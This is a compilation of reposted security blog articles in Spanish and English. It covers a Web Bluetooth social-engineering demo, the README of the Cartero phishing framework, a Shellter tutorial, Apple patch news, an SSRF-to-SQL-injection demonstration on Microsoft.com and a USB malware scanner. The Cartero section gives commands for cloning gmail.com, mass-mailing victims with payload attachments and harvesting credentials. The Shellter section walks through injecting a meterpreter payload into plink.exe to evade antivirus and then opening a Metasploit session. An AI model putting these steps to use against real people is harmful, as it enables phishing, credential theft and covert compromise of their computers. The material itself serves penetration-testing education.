Figura 15: Código que carga la web maliciosa

La apariencia final es relativamente inofensiva, ya que solo es una web para acceder a un tutorial.

Figura 16: Aspecto final de la web maliciosa

Cuando la víctima intente visualizar el tutorial se abrirá una nueva ventana con la dirección “about:blank” con el aspecto que se puede ver a continuación. Todo muy tranquilo y normal. Ninguna alarma ni cosa rara.

Figura 17: Apariencia final de la web con el iframe malicioso

Y cuando intente copiar la instrucción, al pulsar cualquier tecla o intentar hacer clic con el ratón...

Figura 18: Se lanza el acceso a los dispositivos BlueTooth pareados

Y si pudiéramos ver el tráfico de red seríamos testigos de como al seleccionar el teléfono y hacer clic en el botón “Conectar” el atacante recibe una notificación con el nombre del dispositivo y poder acciones sobre él. Si el usuario ha sido engañado, podrá controlar el terminal desde la lejanía.

Figura 19: El servidor recibe la llamada desde el cliente con la info BlueTooth

Para ir acabando

Sí, a Web Bluetooth quizá le falte más de un hervor. Pero es de esperar que termine siendo algo integrado en todos nuestros navegadores. Interacturá quizá con discos en la nube como Google Drive, Microsoft OneDrive y similares. Servirá para controlar elementos domóticos. O industriales (SCADA controlado por Bluetooth a través de Internet... ¡guau!). Monitorizará en tiempo real el estado de salud. Formará parte de los juguetes (y no estoy pensando sólo en los infantiles). Etc, etc, etc. En pocas palabras: Bluetooth en la nube.

Y entonces será un objetivo para quienes ponen a prueba la seguridad de las aplicaciones. Tanto para los bienintencionados como para los criminales. Y también para los que estén a medio camino entre unos y otros. En ese entorno, creo que la Ingeniería Social jugará un papel muy importante y que es necesario que los navegadores pongan en práctica cuantas protecciones sea posible para evitar que los usuarios sean objeto de engaños.

Y, claro, que los diseños de estas protecciones no tengan fallos. Pero... ¡es tan difícil conseguirlo!

Autor: Enrique Rando
Escritor de los libros "Hacking con Buscadores", "Hacking Web: SQL Injection", "Hacking Web Technologies"

Via:www.elladodelmal.com

Cartero - Social Engineering Framework

$
0
0


A robust Phishing Framework with a full featured CLI interface. The project was born out necessity through of years of engagements with tools that just didn't do the job. Even though there are many projects out there, we were not able to find a suitable solution that gave us both easy of use and customizability.

Cartero is a modular project divided into commands that perform independent tasks (i.e. Mailer, Cloner, Listener, AdminConsole, etc...). In addition each sub-command has repeatable configuration options to configure and automate your work.
For example, if we wanted to clone gmail.com, we simply have to perform the following commands.
❯❯❯ ./cartero Cloner --url https://gmail.com --path /tmp --webserver gmail_com
❯❯❯ ./cartero Listener --webserver /tmp/gmail_com -p 80
Launching mongodb
Puma starting in single mode...
* Version 2.8.2 (ruby 2.1.1-p76), codename: Sir Edmund Percival Hillary
* Min threads: 4, max threads: 16
* Environment: production
* Listening on tcp://0.0.0.0:80
Use Ctrl-C to stop
Once we have a site up and running we can simply use the Mailer command to send templated emails to our victims:
❯❯❯ ./cartero Mailer --data victims.json --server gmail_com --subject "Internal Memo" --htmlbody email_html.html --attachment payload.pdf --from "John Doe <jdoe@company.com>"
Sending victim1@company.com
Sending victim2@company.com
Sending victim3@company.com

Community
Join our Slack Community on https://carteroslack.herokuapp.com/

Installation

Automated Installation
Using brew 2.1.5 ruby as default ruby library
❯❯❯ curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash
Using RVM 2.1.5 ruby installation
❯❯❯ curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash -s -- -r

Dependencies

Ruby
❯❯❯ \curl -sSL https://get.rvm.io | bash -s stable --ruby

MongoDB
Cartero makes use of MongoDB to store data on the Listener and Admin side of things. Because of the version of MongoMapper being used, MongoDB 3.0 is recommended/required.
On OSX:
❯❯❯ brew install mongodb
On Ubuntu / Kali / Debian
❯❯❯ apt-get install mongodb
On Arch Linux
❯❯❯ pacman -Syu mongodb

Framework
❯❯❯ git clone https://github.com/section9labs/Cartero
❯❯❯ cd Cartero
❯❯❯ gem install bundle
❯❯❯ bundle install
❯❯❯ cd bin

Usage

Commands
Cartero is a very powerful easy to use CLI.
❯❯❯ ./cartero
Usage: cartero [options]

List of Commands:
AdminConsole, AdminWeb, Mailer, Cloner, Listener, Servers, Templates

Global options:
--proxy [HOST:PORT] Sets TCPSocket Proxy server
-c, --config [CONFIG_FILE] Provide a different cartero config file
-v, --[no-]verbose Run verbosely
-p [PORT_1,PORT_2,..,PORT_N], Global Flag fo Mailer and Webserver ports
--ports
-m, --mongodb [HOST:PORT] Global Flag fo Mailer and Webserver ports
-d, --debug Sets debug flag on/off
--editor [EDITOR] Edit Server


Common options:
-h, --help [COMMAND] Show this message
--list-commands Prints list of commands for bash completion
--version Shows cartero CLI version

Basic Commands

Mongo
This is a simple Wrapper for MongoDB that allows us to start stop the database with the corresponding commands and on the correct ~/.cartero path.
❯❯❯ ./cartero Mongo
Usage: Cartero Mongo [options]
-s, --start Start MongoDB
-k, --stop Stop MongoDB
-r, --restart Restart MongoDB
-b, --bind [HOST:PORT] Set MongoDB bind_ip and port

Common options:
-h, --help Show this message
--list-options Show list of available options

Cloner
A WebSite Cloner that allows us to download and convert a website into a Cartero WebServer application. We can quickly and easily customize the website to Harvest Credentials, Server Payloads, or fully modify the site for any number of purposes.
❯❯❯ ./cartero Cloner
Usage: Cartero Cloner [options]
-U, --url [URL_PATH] Full Path of site to clone
-W, --webserver [SERVER_NAME] Sets WebServer name to use
-p, --path [PATH] Sets path to save webserver
-P, --payload [PAYLOAD_PATH] Sets payload path
--useragent [UA_STRING] Sets user agent for cloning
--wget Use wget to clone url
--apache Generate Apache Proxy conf

Common options:
-h, --help Show this message
--list-options Show list of available options
By default the command uses our Ruby implementation to download and convert links to render, but we also support a --wget option that will use the local wget system command.

Listener
The listener is responsible for running the WebServer created through Cloner or a manually created site. By default we present a very simple website if none is provided.
❯❯❯ ./cartero Listener
Usage: Cartero Listener [options]
-i, --ip [1.1.1.1] Sets IP interface, default is 0.0.0.0
-p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan
--ports
-s, --ssl Run over SSL. [this also requires --sslcert and --sslkey]
-C, --sslcert [CERT_PATH] Sets Email Payload Ports to scan
-K, --sslkey [KEY_PATH] Sets SSL key to use for Listener.
-V, --views [VIEWS_FOLDER] Sets SSL Certificate to use for Listener.
-P, --public [PUBLIC_FOLDER] Sets a Sinatra public_folder
-W [WEBSERVER_FOLDER], Sets the sinatra full path from cloner.
--webserver
--payload [PAYLOAD] Sets a payload download to serve on /download
--customapp [CUSTOM_SINATRA] Sets a custom Sinatra::Base WebApp. Important, WebApp name should be camelized of filename

Common options:
-h, --help Show this message
--list-options Show list of available options
The WebServers support ssl keys and virtual hosts across multiple IP, Hostnames, and Ports.

Servers
In order to send emails campaigns we need to setup email servers and this command allows Cartero to create, store and list servers. All data is stored in the ~/.cartero configuration directory.
./cartero Servers
Usage: Cartero Servers [options]
-a, --add [NAME] Add Server
-e, --edit [NAME] Edit Server
-d, --delete [NAME] Edit Server
-l, --list List servers

Configuration options:
-T, --type [TYPE] Set the type
-U, --url [DOMAIN] Set the Mail or WebMail url/address
-M, --method [METHOD] Sets the WebMail Request Method to use [GET|POST]
--api-access [API_KEY] Sets the Linkedin API Access Key
--api-secret [API_SECRET] Sets the Linkedin API Secret Key
--oauth-token [OAUTH_TOKEN] Sets the Linkedin OAuth Token Key
--oauth-secret [OAUTH_SECRET]
Sets the Linkedin OAuth Secret Key

Common options:
-h, --help Show this message
--list-options Show list of available options

Templates
Just like Servers, email campaigns also need a pre-defined Template for sending content to the victims. This module allows the attacker to keep track, create, list, and edit templates being used in their campaign.
Note: Setting templates here is not necessary and Mailer accepts a direct path to emails templates from the CLI.
❯❯❯ ./cartero Templates
Usage: Cartero Templates [options]
-a, --add [NAME] Add Template
-e, --edit [NAME] Edit Template
-d, --delete [NAME] Edit Template
-l, --list List Templates
-h, --help Show this message

Mailer
THe main command and component in the Cartero Framework -- It allows Cartero to send custom templated emails to one or more email addresses.
Each email can be customized using the powerful erb Template engine, allowing users to create complex programmatic rules within the templates to send massive amounts of very targeted emails.
For more information on how to build custom templates, please refer to our Examples.
❯❯❯ ./cartero Mailer
Usage: Cartero Mailer [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets Email server to use
-s, --subject [EMAIL_SUBJECT] Sets Email subject
-f, --from [EMAIL_FROM] Sets Email from
-r, --reply-to [EMAIL_REPLY_TO] Sets Email from
-b, --body [FILE_PATH] Sets Email Text Body
-B, --htmlbody [FILE_PATH] Sets Email HTML Body
-c, --charset [CHARSET] Sets Email charset
-C [CONTENT_TYPE], Sets Email content type
--content-type
-a [FILE_1,FILE_2,..,FILE_N], Sets Email Attachments
--attachment
-p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan
--ports

Common options:
-h, --help Show this message
--list-options Show list of available options

WebMailer
This command supports an alternative to SMTP / IMAP servers through send messages using known vulnerable or anonymous webmail services via web requests.
❯❯❯ ./cartero WebMailer
Usage: Cartero WebMailer [options]
-R, --raw [RAW_REQUEST_FILE] Sets WebMail Raw Request
-S, --server [SERVER_NAME] Sets WebMail server to use
-U, --url [URL:PORT] Sets WebMail server url to use
-H [HEADER:VAL\nHEADER:VAL], Sets WebMail Headers to use
--headers
-C, --cookies [COOKIES] Sets WebMail Cookies to use
-D, --data [DATA_FILE] File containing template data sets
-s, --subject [EMAIL_SUBJECT] Sets Email subject
-f, --from [EMAIL_FROM] Sets Email from
-r, --reply-to [EMAIL_REPLY_TO] Sets Email reply-to
-b, --body [REQUEST_FILE_PATH] Sets Email Text request query Body
-p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan
--ports

Common options:
-h, --help Show this message
--list-options Show list of available options
The Command can be used in two main ways. One using a raw command such as the one we get from Intercepting traffic with a web proxy (i.e. Burp Proxy) and or using the servers command available on Cartero.

Example of webmail server for send-mail.org
{
"name": "send-email",
"type": "webmail",
"options": {
"url": "http://send-email.org/send",
"method": "POST",
"cookies": "",
"headers": {
"Host": "send-email.org",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": "http://send-email.org/",
"Content-Length": "126",
"Connection": "keep-alive",
"Pragma": "no-cache"
}
},
"confirmation" : "Your message was sent!"
}
Using this pre-configured request, we can easily send message using the same datasets for Mailer and using the same type of templates. An example is available in /templates/mail/sample.web

Sample Command:
❯❯❯ ./cartero WebMailer -S webmail -D ~/sample.json -b ../templates/mail/sample.web -r cartero@gmail.com

LinkedIn
The LinkedIn command is the first Social Network addition to the Cartero Framework. This plugin allows attackers to use the social platform to send messages and attack users all from within LinkedIn.
❯❯❯ ./cartero LinkedIn
Usage: Cartero LinkedIn [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets Email server to use
-s, --subject [MESSAGE_SUBJECT] Sets LinkedIn Message subject
-b, --body [FILE_PATH] Sets LinkedIn Message Body
-l, --list [CONNECTIONS|GROUPS] List json of (connections or groups)
--send [MESSAGE|GROUP_UPDATE]
Send one or more (message/s or group/s updates)
-o, --save [FILE_PATH] Sets LinkedIn Message Body

Common options:
-h, --help Show this message
--list-options Show list of available options
The command requires a developer API and oauth key on the attackers profile. This can be easily obtained in https://www.linkedin.com/secure/developer . and a new server template can be created with the Server command.

IMessage
Allows Cartero, on OS X, to send iMessages to victims addresses just like emails, but these will show up on every iDevice they have registered with apple.
Background: After reading some news on how Chinese spammers are abusing the fact that iMessage messages will be displayed on all devices linked to the account/s, a quick command was developer to allow Cartero users to also have this feature available to the Framework.
Important: This will only work on OSX, for now
❯❯❯ ./cartero IMessage
Usage: Cartero IMessage [options]
IMPORTANT: This command only works on OSX

-D, --data [DATA_FILE] File containing template data sets
-A, --attachment [ATTACHMENT] Sets iMessage file path to send
-b, --body [BODY_FILE] Sets iMessage message
-m, --message [MESSAGE] Sets iMessage message

Common options:
-h, --help Show this message
--list-options Show list of available options
iMessage does not allow sending a single message containing both text and attachments, but when both are provided the message will be split and sent as two individual messages.

Sample command
❯❯❯ ./cartero IMessage --data /Users/cartero/Desktop/test.json -b ../templates/mail/sample.imsg -a /Users/cartero/Downloads/jon.jpg

GoogleVoice
If you have a GoogleVoice account and want to automatically send SMS this might be a nice way to do it. It follows the same infrastructure as all other commands.
❯❯❯ ./cartero GoogleVoice
Usage: Cartero GoogleVoice [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets SMS server to use
-b, --body [FILE_PATH] Sets SMS Text Body
-m, --message [MESSAGE] Sets SMS message
-u, --username [USER] Sets Google Voice Username
-p, --password [PWD] Sets Google Voice password

Common options:
-h, --help Show this message
--list-options Show list of available options

Twilio
If you have a Twilio account and want to automatically send SMS this might yet another way to send SMS. It is worth noting this is a paid service and it requires a valid access token (sid) and secret (secret_token). For more information please refer to Twilio's website at https://www.twilio.com/sms/api
❯❯❯ ./cartero Twilio
Usage: Cartero Twilio [options]
-D, --data [DATA_FILE] File containing template data sets
-S, --server [SERVER_NAME] Sets SMS server to use
-f, --from [NUMBER] Sets SMS from number to use
-b, --body [FILE_PATH] Sets SMS Text Body
-m, --message [MESSAGE] Sets SMS message
-u, --sid [SID] Sets Twilio Username
-p, --token [TOKEN] Sets Twilio password
-A, --attachment [PATH_1||PATH_2||PATH_3] Sets Twilio MMS URL image paths to send

Common options:
-h, --help Show this message
--list-options Show list of available options

AdminWeb
The Admin Web interface is a simple Web-Application that allows the attacker to retrieve information about all Campaigns.
❯❯❯ ./cartero AdminConsole
Usage: Cartero AdminConsole [options]
-i, --ip [1.1.1.1] Sets IP interface, default is 0.0.0.0
-p [PORT_1,PORT_2,..,PORT_N], Sets Email Payload Ports to scan
--ports
-s, --ssl Run over SSL. [this also requires --sslcert and --sslkey]
-C, --sslcert [CERT_PATH] Sets Email Payload Ports to scan
-K, --sslkey [KEY_PATH] Sets Email Payload Ports to scan

Common options:
-h, --help Show this message
--list-options Show list of available options

AdminConsole
The Admin Console is CLI tool that allows to list information about Persons, Campaigns, Hits and Credentials gathered.
❯❯❯ ./cartero AdminConsole
Usage: Cartero AdminConsole [options]
-p, --persons [LATEST_N] Display the list of persons that responded
-i, --hits [LATEST_N] Display the list of hits
-c, --creds [LATEST_N] Display the list of Credentials
-a, --all Sets Email Payload Ports to scan
-f, --filter flag to search by parameters
--email [EMAIL] Display the list of hits
--campaign [CAMPAIGN] Display the list of hits
--ip [IP_ADDRESS] Display the list of hits

Common options:
-h, --help Show this message
--list-options Show list of available options

Building Commands
Commands have a fairly simple framework. Example Framework commands are stored in Cartero/lib/cartero/commands/*.rb and ~/.cartero/commands/*.rb .
module Cartero
module Commands
class CommandName < ::Cartero::Command

description(
name: "Long Command Name Here",
description: "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.",
author: ["Author Name <noname [©] cartero.com>"],
type:"General",
license: "LGPL",
references: [
"https://section9labs.github.io/Cartero",
"https://section9labs.github.io/Cartero"
]
)

def initialize
super do |opts|
#OptionsParser options available here.
opts.on("-x", "--xoption [DATA_FILE]", String,
"Description of command option") do |data|
@options.xoption = data
end
opts.on("-y", "--yoption [DATA_FILE]", String,
"Description of command option") do |data|
@options.xoption = data
end
# help() option already provided.
# --list-options for auto-complete automatic.
end
end

def setup
# This will be hooked and run before run().
# It is meant as a method so the commands can run everything before that.
end

def run
# Everything that will run.
end

def after
# This is the place to run clean-up code.
end
end
end
end

Mailer Templates
Emails are simple txt files or limited HTML files, depending on the format being used. Cartero allows complex templating through the erb ruby library and a CLI interface to help build and template both formats.
Files can be extensively customized for the campaign through erb which provides dynamic substitution and programmatic decisions at run time.
Another important feature is the encrypted self[:payload] that should be added in each email template which allows Cartero to identify the source entity regardless of multiple forwards or clicks. This small payload is encrypted using a randomly generated key allowing attackers to keep their source data secure and away from detection.
SAMPLE DATA FILE
[{
"email": "johndoe@gmail.com",
"name": "John Doe"
}, {
"email": "gh@gmail.com",
"name": "Gas Hill"
}, {
"email": "johndoe@hotmail.com",
"name": "John Doe 2"
}, {
"email": "janedoe@hotmail.com",
"name": "Jane Doe - Hotmail",
"subject": "Hotmail Test 123"
}]
HTML SAMPLE TEMPLATE
<html>
<body>
<h3> Hello Spear Phishing World <%= self[:name] %>,</h3>
<p> This is an automated email to your email <%= self[:email] %>.<p>
<% if self[:ports] %>
<% self[:ports].each do |port| %>
<img alt="" width="1" height="1" border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;" src="http://localhost:<%= port %>/image?key=<%= self[:payload] %>">
<% end %>
<% end %>
</body>
</html>
TEXT SAMPLE TEMPLATE
Hola <%= self[:name] %>,  This email needs to be displayed as HTML.  This is an automated email to your email<%= self[:email] %>.  In addition, this email can also be displayed securely  on http://192.168.1.216:8080/click?key=<%= self[:payload] %>    cheers,    <%= self[:from_name] %>    

Servers
Servers can be managed using the Servers command, which provides the ability to add, edit and delete servers. Note: Servers can be manually edited in ~/.cartero/servers/*.json

smtp
Hola <%= self[:name] %>,
This email needs to be displayed as HTML.
This is an automated email to your email<%= self[:email] %>.
In addition, this email can also be displayed securely
on http://192.168.1.216:8080/click?key=<%= self[:payload] %>

cheers,

<%= self[:from_name] %>

linkedin
{
"name": "gmail",
"type": "smtp",
"options": {
"address": "smtp.yourserver.com",
"port": 25,
"user_name": "user",
"password": "password",
"authentication": "plain",
"domain": "localhost.localdomain"
}
}

webmail
{
"name": "linkedin",
"type": "linkedin",
"options": {
"api_access": "api_access",
"api_secret": "api_secret",
"oauth_token": "oauth_token",
"oauth_secret": "oauth_secret"
}
}
.


Via:www.kitploit.com

Inyección de shellcodes en ejecutables con Shellter VI

$
0
0
Los ejecutables creados con Metasploit u otros frameworks de pentesting conocidos son detectados por la mayoría de los AV. Una de las herramientas que podemos usar para evadirlos es Shellter, con la que dispondremos de una "plantilla" polimórfica que se puede utilizar para insertar nuestros shellcodes en cualquier ejecutable *standalone nativo de Windows en 32 bits.

* por "standalone" entendemos un ejecutable que no está estáticamente vinculado a cualquier DLL propietaria, además de las incluidas por defecto en Windows. Se podría incluir librerías junto un ejecutable siempre que no sean necesarias para crear inicialmente el proceso, pero ya sabéis que no es recomendable.

Podemos decir que Shellter es una herramienta de inyección dinámica de shellcodes o PE infector. Por lo tanto puede usarse para inyectar shellcodes, tanto propios como los generados con Metasploit, en las aplicaciones nativas de Windows (repetimos: de momento sólo aplicaciones de 32 bits).

Shellter aprovecha la estructura original del archivo PE y no aplica modificaciones fácilmente detectables por los AV, tales como cambiar el permiso de acceso a la memoria en las secciones (a menos que el usuario lo especifique) o la adición de una sección con acceso de RWE. Tampoco es el típico infector que trata de encontrar un lugar para insertar instrucciones para redirigir la ejecución del payload. A diferencia de muchos, el motor de infección avanzado de Shellter nunca transfiere el flujo de ejecución a un code cave o añade una sección en el archivo PE infectado. Entonces, ¿cuál es la magia de Shellter?

Shellter utiliza un enfoque dinámico único que se basa en el flujo de ejecución de la aplicación objetivo. Esto significa que no se utilizan ubicaciones predefinidas o estáticas para la inyección de código shell. Shellter ejecutará y trazará el objetivo, mientras que al mismo tiempo registrará el flujo de ejecución de la aplicación en espacio de usuario. Esto incluye el código dentro de la aplicación en sí misma (imagen PE), y el código fuera de ella que podría ser en un archivo DLL del sistema o sobre un heap, etc ... Esto se hace para asegurar que las funciones realmente pertenecen al ejecutable, pero se usan solamente como funciones de callback para que el API de Windows no las pierda.

Durante el trace, Shellter no registrará o tendrá en cuenta cualquier instrucción que no esté en el rango de memoria de la imagen PE de la aplicación de destino, ya que estos no pueden ser utilizado como una referencia para inyectar de forma permanente el shellcode.

Veamos su uso directamente en Kali Linux y en unos sencillos pasos.

1.- Instalación:

root@kali:~# apt-get update
root@kali:~# apt-get install shellter

Si estás en 64 bits para instalar librerías de 32 bits (multiarch):

root@kali:~# uname -m
x86_64
root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32

2.- Ahora copia el ejecutable que queremos infectar dentro del directorio de Shellter. En el ejemplo usaremos plink.exe:

root@kali:~# cd /usr/share/shellter/
root@kali:/usr/share/shellter# cp /usr/share/windows-binaries/plink.exe .

3.- A continuación lanzamos shellter y seleccionamos el modo automático:

root@kali:~# shellter


4.- Posteriormente indicamos el nombre del ejecutable standalone (plink.exe):


5.- En el siguiente paso se nos preguntará si queremos habilitar el modo stealth, si queremos infectar el binario con varios payloads. En el ejemplo no es el caso así que indicaremos que no:


6.- Desde la versión 4.0 Shellter incluye algunos payloads por lo que no será necesario crearlos previamente desde Metasploit. Simplemente seleccionamos el que queremos y listo. En mi caso un bind_tcp de meterpreter que escuche en el puerto 55555.


7.- Después de la última verificación ya tenemos nuestro binario infectado:


root@kali:/usr/share/shellter# ls
icon  plink.exe  shellcode_samples  Shellter_Backups  shellter.exe

Si lo analizáis con un servicio multi-AV veréis que sólo la heurística del AV de Kapersky ha detectado algo sospechoso:

https://nodistribute.com/result/tQevyFUEzLKRwpD18sWb



Practicamente FuD... :)
Ahora sólo nos queda abrir una sesión de meterpreter y ¡a disfrutar!

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 55555
LPORT => 55555
msf exploit(handler) > set RHOST 192.168.2.75
RHOST => 192.168.2.75
msf exploit(handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (958029 bytes) to 192.168.2.75
[*] Meterpreter session 2 opened (192.168.2.152:44053 -> 192.168.1.75:55555) at 2016-09-14 23:48:39 +0200

Proyecto: https://www.shellterproject.com 
Via:www.hackplayers.com

Apple publica nuevas versiones de iOS, Xcode y watchOS

$
0
0
Apple ha publicado iOS 10, la nueva versión de su sistema operativo para dispositivos móviles, horas después publica iOS 10.0.1 para evitar otra vulnerabilidad y problemas que bloqueaban los dispositivos al actualizarse. También ha publicado Xcode 8 y watchOS 3. En total se solucionan 11 nuevas vulnerabilidades.

Ayer mismo Apple publicaba la iOS 10 "la mayor actualización de iOS de la historia" que como es habitual en estos casos proporciona interesantes novedades y mejoras, junto con la corrección de siete vulnerabilidades. Pero al poco tiempo de estar disponible para descarga aparecían las primeras notas de alerta, a algunos usuarios su móvil se quedaba bloqueado al tratar de actualizarlo vía OTA. Pocas horas después Apple publicaba iOS 10.0.1 que solucionaba él problema, y curiosamente la corrección de otra vulnerabilidad.

Entre las novedades y mejoras se han incluido importantes funcionalidades en iMenssages, Siri en apps de terceros, se ha rediseñado el centro de control y notificaciones, domótica, y aplicaciones como Mapas, Music, News y teclados. Las vulnerabilidades corregidas en iOS 10 afectan a Assets, GeoServices, Keyboards, Mail, Messages, Printing UIKit y Sandbox Profiles (con CVEs CVE-2016-4620, CVE-2016-4719, CVE-2016-4740, CVE-2016-4741, CVE-2016-4746, CVE-2016-4747 y CVE-2016-4749).

Pocas horas después del anuncio de iOS 10 llegó iOS 10.0.1, que además de solucionar el problema de bloqueo al actualizar a iOS 10, viene a solucionar una vulnerabilidad ya de sobra conocida y de la que hemos habladoen más de una ocasión. La misma descubierta por Citizen Lab y Lookout, con CVE-2016-4655, que formaba parte del tridente de vulnerabilidades empleadas por el spyware Pegasus, y que ya había sido corregida en iOS 9.3.5. Sin duda este problema le llegó a Apple sin tiempo de reacción como para incluir el parche en los dispositivos iPhone 7 que incluyen iOS 10 de fábrica.

Apple también ha publicado Xcode 8, el entorno de desarrollo (IDE) de Apple que se incluye gratuitamente con Mac OS X. De esta forma Apple prepara a los desarrolladores para los nuevos entornos watchOS 3, tvOS, iOS 10 y macOS Sierra. Además aporta nuevas extensiones, un nuevo runtime que emite alertas que pueden permitir encontrar fallos de fuga de memoria, un nuevo depurador de memoria y un soporte total con el lenguaje Swift 3. Además solucionados vulnerabilidades (CVE-2016-4704 y CVE-2016-4705) en otool, que podrían permitir la ejecución de código.

Por último, también ha publicado watchOS 3, destinada a su reloj inteligente (smartwatch) conocido como Apple Watch, con la que se solucionauna vulnerabilidad que podría permitir a una aplicación obtener información de la localización.

Más información:

About the security content of iOS 10
About the security content of iOS 10.0.1

una-al-dia (25/08/2016) Apple publica iOS 9.3.5 tras el descubrimiento de un spyware

About the security content of Xcode 8

About the security content of watchOS 3

Xcode 8




Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

Cómo usar una "debilidad" de SSRF en Microsoft.com para hacer una PoC de SQL Injection

$
0
0
Durante este verano hemos estado muy activos reportando algunas vulnerabilidades descubiertas por el motor de Faast en algunas empresas tecnológicas. Utilizando la visión del Pentesting Persistente que marca nuestra forma de ver cómo se debe abordar la seguridad de los sistemas expuestos a Internet de las empresas, en entornos hacking friendly hemos estado reportando un buen número de bugs que están corrigiendo.

Figura 1: Cómo usar una "debilidad" de SSRF en Microsoft.com para hacer una PoC de SQL Injection

Hoy os vengo a hablar de uno de estos reportes que no ha sido tomado como un bug de seguridad, y que por tanto no va a ser modificado, para que veáis cómo funciona esto. Se trata de un Server-Side Request Forgery en una web pública de Microsoft.com. Los SSRF son "debilidades" de las aplicaciones web que permiten a un atacante inyectar una URL en el sistema que fuerza al servidor de backend a hacer una petición a un servidor controlado por el atacante, tal y como se describe en el CWE (Common Weaknesses Enumeration) del Mitre que tenéis a continuación. Dependiendo del entorno, esta debilidad se puede convertir en un "bug" o no.

Figura 2: Descripción de las debilidades Server-Side Request Forgery (SSRF)

Este tipo de "debilidades" pueden ser utilizados en muchos entornos para conseguir otros objetivos como se explica en el libro de Hacking Web Technologies donde hablamos de ella. Desde hacer un escaneo de puertos de un servidor de forma anónima con un XSPA (Cross-Site Port Attack) hasta atacar un servidor con un SQL Injection. El peligro además es que, como el que realiza la petición es un servidor de la organización, este podría ser utilizado para hacer los ataques de XSPA o SQLi a servidores internos de la DMZ, como se explica en este artículo que os dejé publicado hace poco más de un año "Cómo usar un SSRF para hacer un XSPA a un servidor de la DMZ".

SSRF en Microsoft.com

En el caso de Microsoft el SSRF se encuentra en una URL pública, accesible por cualquiera desde Internet, que se utiliza para acceder a un FeedRSS. Éste es un entorno clásico para localizar este tipo de debilidades, tal y como se describía en el artículo de "Utilizar los Buscadores como arma de destrucción masiva" y en una web corporativa como la de Microsoft.com tal vez no debería estar público. Sin embargo, es verdad que algunos sistemas necesitan que esto funcione así y si ellos han determinado que no es un problema será que lo tienen controlado y no existe riesgo alguno en que esté público.

Figura 3: Confirmación de que el MSRC lo ha investigado y no hay riesgo

Sea como fuere, ya que en el artículo de hace un año nuestro compañero Ricardo usó el SSRF para hacer un XSPA, ayer le pedí a otro compañero de ElevenPaths - en este caso al gran Ioseba Palop que está cuidando el core de Faast con mimo y ternura desde hace años - que preparase una PoC con un SQL Injection, para que se viera cómo funciona esto, y lo tenéis en el siguiente vídeo.

Figura 4: Ataque SQLi a un servidor web vía SSRF en Microsoft.com

La demo es muy sencilla, hemos dejado una web vulnerable a un SQL Injection que permite hacer un Shutdown, es decir, hemos dejado corriendo el servidor SQL Server con privilegios de administrador a propósito, para hacer que el servidor de Microsoft.com, a través del SSRF, apague el motor de bases de datos desde Internet.

Esto es algo así como cuando Leonard, Koothrappali, Sheldon y Wolovich apagan y encienden las luces del salón a través de Internet solo por ver que se puede hacer, pero si ese servidor fuera uno interno en la DMZ de Microsoft, probablemente funcionaria igualmente. Sí, están todos menos Penny.

Figura 5: Todos menos Penny felices por encender las luces desde Internet

Este tipo de debilidades son importantes en muchos entornos, por eso nosotros prestamos mucha atención a todas ellas en nuestra knowledge base, pero a veces los equipos de seguridad las evalúan y deciden que el riesgo es bajo y no deben aplicar ninguna medida correctora más allá de las que tienen, como en el caso del HTTP Parameter Pollution de Apple.com, donde no implicaba riesgos de seguridad a pesar de existir la debilidad en la aplicación web.

Saludos Malignos!

Via:www.elladodelmal.com

WAS - Automatic USB Drive Malware Scanning Tool For The Security-Minded Person

$
0
0


Author: Fabio Baroni http://www.pentest.guru/ @Fabiothebest89
How many times have you plugged in a USB drive and double clicked on a file without scanning for malware? I guess, MANY.

Wait A Sec!
Even if you are a security guy, you'll often be in a hurry or absent minded and you trust your USB drive (and so does your computer). What can possibly go wrong? Getting pwned is only a click away. You may have an antivirus with realtime protection, but if it doesn't have the signatures for a new virus it's very possible that it will be unnoticed and even heuristic scan may fail in detecting a new virus. Viruses are getting increasingly sophisticated.
Luckily there are services like Virus Total that allow you to scan a file with multiple antiviruses in order to increase the detection rate.
You may head over to Virus Total website and upload all the files manually one by one or you may use one of the scripts already available that allow you to check a file using Virus Total API, but this tool is unique in his genre because:
  • it allows to detect automatically the insertion of a new USB key
  • scan recursively all the files contained in the USB drive
  • hash the files and check them against the database of files already scanned by Virus Total
  • get an audio message every time a new virus is detected
  • automatically visualize a report in CSV format at the end of the scan
Note: although the core functions work in a crossplatform fashion, the automatic detection of a new USB key works only on Windows at the moment.

USAGE
python was.py
As simple as that. This tool has been designed with the run and forget concept in mind.
Just keep it running. You don't need to execute it every time you want to use it.

CONFIG
This tool uses a configuration file ( was-config.ini ) that allows you to specify some settings:
